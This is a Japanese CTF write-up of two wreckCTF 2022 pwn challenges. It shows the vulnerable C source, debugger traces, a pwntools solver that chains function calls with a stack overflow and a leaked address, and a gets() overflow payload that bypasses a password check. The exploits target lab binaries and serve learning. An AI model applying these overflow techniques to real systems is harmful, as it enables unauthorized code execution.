wreckctf2022

froggers
問題
Frog coin to the moon!
ソースコード
// compiled with gcc -fno-stack-protector -o challenge challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <stdbool.h>
bool frog = false;
bool coin = false;
bool wallet_supports_frog_coin = false;
void lilypad(char *buffer) {
fgets(buffer, 40, stdin);
}
void set_frog() {
puts("Setting frog...");
frog = wallet_supports_frog_coin;
if (frog)
puts("Frog set!");
fflush(stdout);
}
void set_coin() {
puts("Setting coin...");
coin = frog;
if (coin)
puts("Coin set!");
fflush(stdout);
}
void froggers(char *name) {
printf("Hi %s", name);
if (frog && coin) {
FILE *fp = fopen("flag.txt", "r");
if (fp == NULL)
return;
fseek(fp, 0, SEEK_END);
long fsize = ftell(fp);
fseek(fp, 0, SEEK_SET);
char flag[fsize + 1];
flag[fsize] = 0;
fread(flag, 1, fsize, fp);
if (!frog || !coin) {
puts("Frogger error!");
fflush(stdout);
exit(1);
}
printf("%s\n", flag);
fclose(fp);
} else {
puts("Your wallet doesn't have frog coins!");
}
fflush(stdout);
}
int main() {
printf("Hey I'm %p, what's your name?\n", main);
fflush(stdout);
char name[16];
lilypad(name);
froggers(name);
if (!wallet_supports_frog_coin) {
wallet_supports_frog_coin = true;
}
return 0;
}
解法
以下のコマンド実行結果から64bitのELFバイナリであること、実行ファイルの緩和機構はカナリア以外設定されていることがわかる。
$ file challenge
challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9f431948047057498b0b0a2f4fe22ae01a887c4a, for GNU/Linux 3.2.0, not stripped
$ checksec challenge
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
ソースコードを見ると変数nameにfgetsで表準入力を格納しているようだ。
fgetsでは読み込むバイト数を40bytesに設定しているが、nameは16バイトしか確保していないため、bof出来そう。
flagを得るためには、set_frog(),set_coin()を呼び出したうえでfroggers()を呼び出す必要がある。
pieは有効だがmain関数内の処理でmain関数のアドレスを表示しているのでこれを取得すれば差分で他の関数アドレスを得ることができる。
以上からペイロード作成のために必要な情報を集めていく。
- ペイロード作成のために必要な情報
- ripまでのオフセット
- main関数アドレス
- set_frog(),set_coin(のアドレス
まず、ripまでのオフセットを調べる。
以下はその際の調査方法である。
- gdb-pwndbgで問題バイナリを開く
- cyclicで出力した文字列を入力する
- rspにセットされている先頭の文字列を確認する(retはスタックからripに値を得るため)→今回はgaaa
- cyclic -l コマンドで指定した文字列までのオフセットを得る
$ gdb-pwndbg challenge
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
pwndbg> r
Starting program: /home/kali/workspace/wreckctf/frogger/challenge
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hey I'm 0x555555555535, what's your name?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Hi aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaYour wallet doesn't have frog coins!
Program received signal SIGSEGV, Segmentation fault.
0x000055555555559b in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0xc00
RDX 0x5555555592a0 ◂— "Hi aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaYour wallet doesn't have frog coins!\n"
RDI 0x7ffff7df4a50 (_IO_stdfile_1_lock) ◂— 0x0
RSI 0x0
R8 0x7ffff7df4a50 (_IO_stdfile_1_lock) ◂— 0x0
R9 0x6c61772072756f59 ('Your wal')
R10 0x73656f642074656c ('let does')
R11 0x246
R12 0x7fffffffde78 —▸ 0x7fffffffe20f ◂— '/home/kali/workspace/wreckctf/frogger/challenge'
R13 0x555555555535 (main) ◂— endbr64
R14 0x0
R15 0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe240 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP 0x6161616661616165 ('eaaafaaa')
RSP 0x7fffffffdd68 ◂— 'gaaahaaaiaaajaa'
RIP 0x55555555559b (main+102) ◂— ret
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x55555555559b <main+102> ret <0x6161616861616167>
pwndbg> cyclic -l gaaa
24
オフセットは24であるということがわかった。
次に各関数のアドレスだがこれはmain関数から各関数までの差分を考えればいいのでinfo functionコマンドで値を得ることできる。
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x0000000000001000 _init
0x00000000000010d0 __cxa_finalize@plt
0x00000000000010e0 puts@plt
0x00000000000010f0 fread@plt
0x0000000000001100 fclose@plt
0x0000000000001110 printf@plt
0x0000000000001120 fgets@plt
0x0000000000001130 ftell@plt
0x0000000000001140 fflush@plt
0x0000000000001150 fseek@plt
0x0000000000001160 fopen@plt
0x0000000000001170 exit@plt
0x0000000000001180 _start
0x00000000000011b0 deregister_tm_clones
0x00000000000011e0 register_tm_clones
0x0000000000001220 __do_global_dtors_aux
0x0000000000001260 frame_dummy
0x0000000000001269 lilypad
0x0000000000001294 set_frog
0x00000000000012de set_coin
0x0000000000001328 froggers
0x0000000000001535 main
0x00000000000015a0 __libc_csu_init
0x0000000000001610 __libc_csu_fini
0x0000000000001618 _fini
pwndbg>
main関数から各関数までの距離は以下の通りとなる。
- set_frog : 0x2a1
- set_coin : 0x257
以上より最終的なソルバーは以下の通り。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b main
continue
'''.format(**locals())
exe = './challenge'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
io = start()
io.recvuntil("Hey I'm ")
leak_main_addr=int(io.recv()[0:14],16)
info("leak_main_address: %#x",leak_main_addr)
offset = 24
set_frog_addr = leak_main_addr- 0x2a1
set_coin_addr = leak_main_addr - 0x257
info("leak_frog_address: %#x",set_frog_addr)
info("leak_coin_address: %#x",set_coin_addr)
payload =flat(
"A"*24,
set_frog_addr,
leak_main_addr
)
payload2=flat(
"B"*23,
set_coin_addr,
leak_main_addr,
)
io.send(payload)
io.recvuntil("what's your name?")
io.sendline(payload2)
io.interactive()
- ripをset_frog関数のアドレスで上書きする
- set_frog関数を実行後、main関数に戻る(一度のペイロードではバッファが足りないので、再度fgetsを呼び出す)
- 二度目のペイロードでset_coin関数を呼び出し、main関数に戻る(main関数内でfroggers関数が呼ばれているため)
- flag獲得
※payload2のオフセットが23なのは二回目のfgetsの戻り値に"\x00"が追加されていたため
[*] Switching to interactive mode
Hi Your wallet doesn't have frog coins!
Setting coin...
Coin set!
Hey I'm 0x5570a90bb535, what's your name?
Hi flag{i_always_wanted_to_be_a_math_magician}
感想
ローカルとリモートで挙動が違い、苦労しました。

wreckCTF2022-Pwn
login
問題
you'll never get my password!
ソースコード
// gcc -o challenge challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <stdbool.h>
#include <string.h>
bool load_password(char *password) {
FILE *fp;
if ((fp = fopen("password.txt", "r")) == NULL)
return false;
if (fread(password, 1, 15, fp) != 15)
return false;
password[15] = 0;
fclose(fp);
return true;
}
void print_flag() {
FILE *fp = fopen("flag.txt", "r");
if (fp == NULL)
return;
fseek(fp, 0, SEEK_END);
long fsize = ftell(fp);
fseek(fp, 0, SEEK_SET);
char flag[fsize + 1];
flag[fsize] = 0;
fread(flag, 1, fsize, fp);
puts(flag);
fclose(fp);
}
int main() {
char password[16];
char accurate[16];
if (!load_password(accurate))
return 1;
puts("Input password");
fflush(stdout);
gets(password);
if (strcmp(password, accurate) == 0)
print_flag();
else
puts("Sorry, incorrect password\n");
fflush(stdout);
}
解法
以下のコマンド実行結果から64bitのELFバイナリであること、実行ファイルの緩和機構がフルで設定されていることがわかる
$ file challenge
challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d8e99f59cf083eaf84c9c1438a29f773f1880d2e, for GNU/Linux 3.2.0, not stripped
$ checksec challenge
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
次にソースコードを確認する。password.txtを読み込み、それを入力値と比較し、Trueならprint_flag()関数を呼び出すことがわかる。
また、getsやstmcmpを利用して比較条件を突破できそう。
まずbofを発生させてaccurateを上書きし、accurateに任意の文字列をセットする。
次に比較部分だが、strcmpは引数で指定された値からnullまでの文字列を受け取り、比較するため、null文字前後の値をそろえてあげれば比較条件を突破出来る。
最終的なペイロードは以下の通り。
$ python2 -c 'print A*15+x00+A*15' >payload
$ ./challenge <payload
Input password
fakeflag